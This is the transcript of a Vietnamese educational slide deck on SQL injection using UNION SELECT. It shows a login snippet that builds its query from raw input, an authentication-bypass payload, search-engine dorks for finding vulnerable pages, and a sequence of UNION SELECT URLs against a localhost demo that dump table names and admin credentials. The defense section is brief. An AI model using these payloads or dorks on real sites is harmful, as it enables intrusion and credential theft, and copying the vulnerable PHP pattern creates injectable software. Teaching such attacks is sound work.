Tấn công sql injection sử dụng câu lệnh select union
-
Upload
nguyen-danh-thanh -
Category
Education
-
view
2.805 -
download
2
description
Transcript of Tấn công sql injection sử dụng câu lệnh select union
Nguyễn Danh Thanh
TẤN CÔNG SQL INJECTION QUA
CÂU LỆNH SELECT, UNION
Nội dung
• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo
Mục đích tấn công
• Đánh cắp dữ liệu từ web server• Thay đổi dữ liệu• Deface website• Backdoor
Nội dung
• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo
Cơ chế tấn công
• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào<form action="" method="post">
Tài khoản: <input type="text" name=“user">Mật khẩu: <input type="password" name=“pass"><input type="submit“ value=“Đăng nhập”>
</form>
<?php$user=$_POST[‘user’];$pass=$_POST[‘pass’];$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;$query=mysql_query($sql);
$sql=“SELECT * FROM tbl_user WHERE user=‘0’ or ‘1’=‘1’--’ && pass=‘123456’”;
• Thông báo lỗi của hệ quản trị CSDL– Mysql_fetch_array();– Database query failed…– You have an error in your SQL systax…
Nội dung
• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo
Phương thức tấn công
• Các dork ( Từ khóa tìm site bị lỗi)– index.php?id=– news.php id=– article.php?id=– games.php?id=– opinions.php?id=– pages.php?id=– prod_detail.php?id=– view.php?id=………….
• Các bước tấn công sử dụng lệnh union select
– Kiểm tra lỗi sql injection.– Tìm số cột mà câu truy vấn tạo ra.– Tìm cột chứa thông tin có thể khai thác được.– Xem phiên bản của CSDL và ngôn ngữ lập trình.– Xác định tên bảng chứa thông tin người quản trị.– Xác định tài khoản/mật khẩu của quản trị.– Truy cập vào phần giành cho quản trị viên.
Nội dung
• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo
Cách phòng chống
• Phòng chống từ mức xây dựng mã nguồn ứng dụng– Whilelist– Backlist
• Bảo vệ từ mức nền tảng của hệ thống
Nội dung
• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo
Demo
• Công cụ hỗ trợ– Add-on hackBar.– Web Admin Finder V2.0.– Google.
Mục tiêu tấn công
Tìm số cột mà câu truy vấn SQL tạo ra
http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -
Xác định vị trí xảy ra lỗihttp://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--
Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--
Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))), 7,8,9,10,11,12,13,14,15 from tbl_user--
Password: thietkewebx.net
Tìm đường dẫn trang quản trị
Localhost/maytinh/admin